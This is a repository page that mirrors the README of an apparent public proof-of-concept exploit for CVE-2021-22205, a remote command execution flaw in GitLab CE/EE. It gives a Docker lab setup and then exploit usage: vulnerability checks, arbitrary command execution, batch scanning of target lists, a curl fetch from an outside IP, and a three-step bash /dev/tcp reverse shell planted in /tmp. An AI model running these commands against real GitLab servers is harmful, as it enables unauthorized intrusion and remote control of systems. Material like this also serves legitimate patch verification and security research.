https://github.com/Al1ex/CVE-2021-22205

CVE-2021-22205& GitLab CE/EE RCE
https://github.com/Al1ex/CVE-2021-22205

cve-2021-22205

Last synced: 21 days ago
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CVE-2021-22205& GitLab CE/EE RCE

• Host: GitHub
• URL: https://github.com/Al1ex/CVE-2021-22205
• Owner: Al1ex
• Created: 2021-10-29T04:30:45.000Z (about 3 years ago)
• Default Branch: main
• Last Pushed: 2022-11-16T08:14:33.000Z (about 2 years ago)
• Last Synced: 2024-08-05T17:44:37.516Z (4 months ago)
• Topics: cve-2021-22205
• Language: Python
• Homepage:
• Size: 603 KB
• Stars: 261
• Watchers: 2
• Forks: 100
• Open Issues: 1
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - Al1ex/CVE-2021-22205 - CVE-2021-22205& GitLab CE/EE RCE (Python)

README

        
### Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

### Vuln Product

- Gitlab CE/EE < 13.10.3

- Gitlab CE/EE < 13.9.6

- Gitlab CE/EE < 13.8.8

### Environment

```C

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \

  --hostname gitlab.example.com \

  --publish 443:443 --publish 80:80 \

  --name gitlab \

  --restart always \

  --volume $GITLAB_HOME/config:/etc/gitlab \

  --volume $GITLAB_HOME/logs:/var/log/gitlab \

  --volume $GITLAB_HOME/data:/var/opt/gitlab \

  gitlab/gitlab-ce:13.9.1-ce.0

```

### Vunl Check

##### Basic usage

```c

python3 CVE-2021-2205.py

```

![img](img/usage.png)

##### Vuln check

```c

python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

```

![img](img/check.png)

##### command execute

```c

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"

```

![attack](img/attack.png)

```c

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"

```

![attack_command1](img/attack_command1.png)

![attack_command2](img/attack_command2.png)

##### batch scan

```

python3 CVE-2021-2205.py -s true -f target.txt

```

![scan_result](img/scan_result.png)

##### Reserve Shell

```

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"

```

![reverse_shell1](img/reverse_shell1.png)

![reverse_shell2](img/reverse_shell2.png)

```

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"

```

![reverse_shell3](img/reverse_shell3.png)

![reverse_shell4](img/reverse_shell4.png)

```

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

```

![reverse_shell5](img/reverse_shell5.png)

### Reference

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html